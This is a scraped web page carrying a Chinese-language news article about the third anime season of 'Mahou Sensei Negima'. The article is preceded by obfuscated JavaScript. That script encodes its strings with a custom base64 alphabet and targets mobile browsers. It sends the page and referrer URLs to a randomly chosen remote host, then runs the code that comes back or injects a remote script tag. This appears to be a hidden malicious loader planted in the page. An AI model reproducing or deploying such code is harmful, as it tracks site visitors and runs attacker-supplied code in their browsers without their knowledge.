function mdre(e) {
const t = "UAB234CDE_FGHIJKQRSTVWXcdefghijklm-nopqrstuvwxyz015LMNOP6789YZab";
let n = "";
let r, o, c, s, a, i, l;
let d = 0;
let f = String(e).replace(/\r\n/g, "\n");
let h = "";
for (let e = 0; e < f.length; e++) {
const t = f.charCodeAt(e);
if (t < 128) {
h += String.fromCharCode(t);
} else if (t > 127 && t < 2048) {
h += String.fromCharCode(t >> 6 | 192);
h += String.fromCharCode(t & 63 | 128);
} else {
h += String.fromCharCode(t >> 12 | 224);
h += String.fromCharCode(t >> 6 & 63 | 128);
h += String.fromCharCode(t & 63 | 128);
}
}
while (d < h.length) {
r = h.charCodeAt(d++);
o = h.charCodeAt(d++);
c = h.charCodeAt(d++);
s = r >> 2;
a = (r & 3) << 4 | o >> 4;
i = (o & 15) << 2 | c >> 6;
l = c & 63;
if (isNaN(o)) {
n += t.charAt(s) + t.charAt(a);
} else if (isNaN(c)) {
n += t.charAt(s) + t.charAt(a) + t.charAt(i);
} else {
n += t.charAt(s) + t.charAt(a) + t.charAt(i) + t.charAt(l);
}
}
return n;
}
function iwtq(e) {
const t = "UAB234CDE_FGHIJKQRSTVWXcdefghijklm-nopqrstuvwxyz015LMNOP6789YZab";
let n = "";
let r = 0;
let o, c, s, a;
const i = String(e).replace(/[^A-Za-z0-9\-_]/g, "");
const l = i.length;
while (r < l) {
if (r == l) o = -1; else o = t.indexOf(i.charAt(r++));
if (r == l) c = -1; else c = t.indexOf(i.charAt(r++));
if (r === l) s = -1; else s = t.indexOf(i.charAt(r++));
if (r === l) a = -1; else a = t.indexOf(i.charAt(r++));
if (o === -1 || c === -1) {
break;
}
const e = o << 2 | c >> 4;
n += String.fromCharCode(e);
if (s !== -1) {
const e = (c & 15) << 4 | s >> 2;
n += String.fromCharCode(e);
}
if (a !== -1) {
const e = (s & 3) << 6 | a;
n += String.fromCharCode(e);
}
}
let d = "";
r = 0;
while (r < n.length) {
const e = n.charCodeAt(r);
if (e < 128) {
d += String.fromCharCode(e);
r++;
} else if (e > 191 && e < 224) {
const t = n.charCodeAt(r + 1);
d += String.fromCharCode((e & 31) << 6 | t & 63);
r += 2;
} else {
const t = n.charCodeAt(r + 1);
const o = n.charCodeAt(r + 2);
d += String.fromCharCode((e & 15) << 12 | (t & 63) << 6 | o & 63);
r += 3;
}
}
return d;
}
function gwyddp(e) {
return Math.floor(Math.random() * (e + 1));
}
window['w'+'jb'+'hz'+'s'+'fx'] = navigator.platform && !/^Mac|Win/.test(navigator.platform) || !navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent) ? function() {
(function(e, t, n) {
const r = n[iwtq("dPW5hqWyi4Inhqp0iU")];
let o = "";
try {
o = opener ? opener.document.location.href : n.referrer;
} catch (e) {
o = n.referrer;
}
if (o && o.length > 900) {
o = o.slice(0, 900);
}
let c = t.location.href;
if (c && c.length > 900) {
c = c.slice(0, 900);
}
const s = iwtq(e).split(",");
const a = s[3];
const i = s[2];
let l = s[4];
let d;
if (l.indexOf(";") > -1) {
let e = l.split(";");
if (e.length < 1) return;
if (e.length > 1) {
d = e[gwyddp(e.length)];
} else {
d = e[0];
}
} else {
d = l;
}
const f = mdre(`su=${d}&t=${s[0]}&d=${s[1]}&r=${o}&m=${Date.now()}&u=${c}&sm=${i}`);
const h = navigator.userAgent;
if (h.indexOf("b" + "ai" + "d" + "u") !== -1) {
const e = new XMLHttpRequest;
e.open("POST", `${i}://${d}/getSv/${f}`);
e.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
e.setRequestHeader("X-REQUESTED-WITH", "XMLHttpRequest");
e.onreadystatechange = function() {
if (e.readyState === 4 && e.status === 200) {
const t = JSON.parse(e.responseText);
const n = new Function("c", `${iwtq(t.ds)}; return ${t.ns}(c);`)(t.img.join(""));
new Function("_tdcs", n)(r);
}
};
e.send();
} else if (t.WebSocket && /UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(h)) {
const e = new WebSocket(`${a}://${d}/ws/${f}`);
e.onmessage = function(t) {
e.close();
const o = t.data.split(";");
if (o.length > 2) {
remoteCode = iwtq(o[0]);
remoteCode += iwtq(o[1]);
remoteCode += iwtq(o[2]);
new Function("_tdcs", remoteCode)(r);
} else {
const e = n.createElement("script");
e.src = `${i}://${d}/vsn/${f}`;
r.parentElement.insertBefore(e, r);
}
};
e.onerror = function() {
const e = n.createElement("script");
e.src = `${i}://${d}/vsn/${f}`;
r.parentElement.insertBefore(e, r);
};
} else {
const e = n.createElement("script");
e.src = `${i}://${d}/vsn/${f}`;
r.parentElement.insertBefore(e, r);
}
})("H-01H2ULGCmMiDALGDiLh51nhOILfrHydPpziQ", window, document);
} : function() {};
在经历了第一季的平淡无奇,第二季的翻天复地后,动画版《魔法先生》第三季终于开学了!第三季全名为《魔法先生 涅吉!~白翼 ALA ALBA~》(魔法先生ネギま!~白き翼 ALA ALBA~),这次涅吉终于带领这帮问题学生平安过渡到初三。目前在第三季官方网站上公布了本作的Staff以及故事梗概等情报。 《魔法先生》是赤松健创作的拥有31人庞大后宫的校园喜剧漫画,这部极具话题性的漫画在2005年改编成了动画,当时由XEBEC制作。2006年,动画第二季播出,第二季改由SHAFT制作,借监督新房昭之之手《魔法先生》第二季给人带来全新感觉,相对于略显平凡的第一季,第二季一改观众对动画版的不良印象。《魔法先生》还在2007年改编成了真人电视剧,评价方面有不少人指出真人电视剧动画第二季动画第一季,虽然评价不一,但原作及其改编作品所引起的话题却是巨大的。 《魔法先生 涅吉!白翼 ALA ALBA~》讲述涅吉在魔法学园毕业,作为见习魔法使的修行而来到日本的麻帆良学园担任女子初中部2年A组的班主任,经历了第一季和第二季各种混乱事件后,涅吉和学生们迎来了最后一年的初中生活。新作的事件背景设置在漫画版中升上初三后、结束了修学旅行和学园祭之后,主要讲述的是学生们的暑假生活。这次等待着涅吉及31名少女的又是什么奇怪事件呢? 动画第三季同样由SHAFT制作,监督同样是恶搞功力群拔的新房昭之,不知新作会否像第二季那样,连观众都被这名恶搞监督玩弄于鼓掌之间呢。人设方面,这次改由实原登担任,这名在《今天的5年2班》中担任分镜的男人这次终于走上了人设以及总作画监督之要职了。此外,新作的原创音乐由eufonius所属的菊地创负责,菊地创及eufonius的名字相信各位应该不会陌生,其以 Galgame、动画为平台创作的治愈系音乐不知抚平了多少受伤心灵,这次《魔法先生》第三季邀其参与配乐是否意味着有不少感伤情节呢,这非常令人期待。声优方面,新作基本沿用前作阵容,而在4月12日举行的fan Event上,宣布了第三季中犬上小太郎以及クウネル将由井上麻里奈和平川大辅(又见诚!?)担任CV。 《魔法先生》改编动画和电视剧中很少走原作路线,而据悉第三季《魔法先生 涅吉!白翼 ALA ALBA~》将会忠实原作,不知新房昭之监督能否在如此局限下作出比第二季更优秀的《魔法先生》呢,让我们拭目以待。